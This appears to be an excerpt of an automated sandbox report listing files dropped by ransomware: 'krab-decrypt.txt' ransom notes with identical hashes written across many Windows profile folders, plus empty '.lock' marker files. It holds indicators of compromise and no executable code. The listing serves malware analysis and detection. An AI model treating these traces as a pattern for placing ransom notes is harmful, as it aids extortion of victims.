c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\bibliography\style\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\credentials\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\crypto\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\crypto\rsa\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\crypto\rsa\s-1-5-21-1462094071-1423818996-289466292-1000\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\document building blocks\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\document building blocks\1033\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\document building blocks\1033\16\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\excel\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\excel\xlstart\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\internet explorer\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\internet explorer\quick launch\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\internet explorer\quick launch\user pinned\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\internet explorer\quick launch\user pinned\implicitappshortcuts\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\internet explorer\quick launch\user pinned\taskbar\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\internet explorer\userdata\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\internet explorer\userdata\low\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\mmc\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\ms project\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\ms project\16\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\ms project\16\en-us\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\network\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\network\connections\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\network\connections\pbk\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\network\connections\pbk\_hiddenpbk\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\office\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\office\recent\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\onenote\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\onenote\16.0\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\outlook\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\powerpoint\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\proof\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\protect\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\protect\s-1-5-21-1462094071-1423818996-289466292-1000\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\publisher\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\publisher building blocks\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\speech\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\systemcertificates\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\systemcertificates\my\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\systemcertificates\my\certificates\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\systemcertificates\my\crls\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\systemcertificates\my\ctls\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\user\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\user\document themes\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\user\document themes\1033\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\user\smartart graphics\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\user\smartart graphics\1033\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\uproof\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\vault\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\word\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\word\startup\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\extensions\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\crash reports\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\crash reports\events\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\bookmarkbackups\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\crashes\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\crashes\events\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\datareporting\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\datareporting\archived\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\datareporting\archived\2017-05\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\gmp\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\gmp\winnt_x86-msvc\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\gmp-gmpopenh264\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\gmp-gmpopenh264\1.6\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\gmp-widevinecdm\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\gmp-widevinecdm\1.4.8.903\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\$recycle.bin\s-1-5-18\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\$recycle.bin\s-1-5-21-1462094071-1423818996-289466292-1000\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\$recycle.bin\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\perflogs\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\program files\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\program files (x86)\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\recovery\windowsre\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\recovery\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\adobe\acrobat\dc\collab\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\adobe\acrobat\dc\forms\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
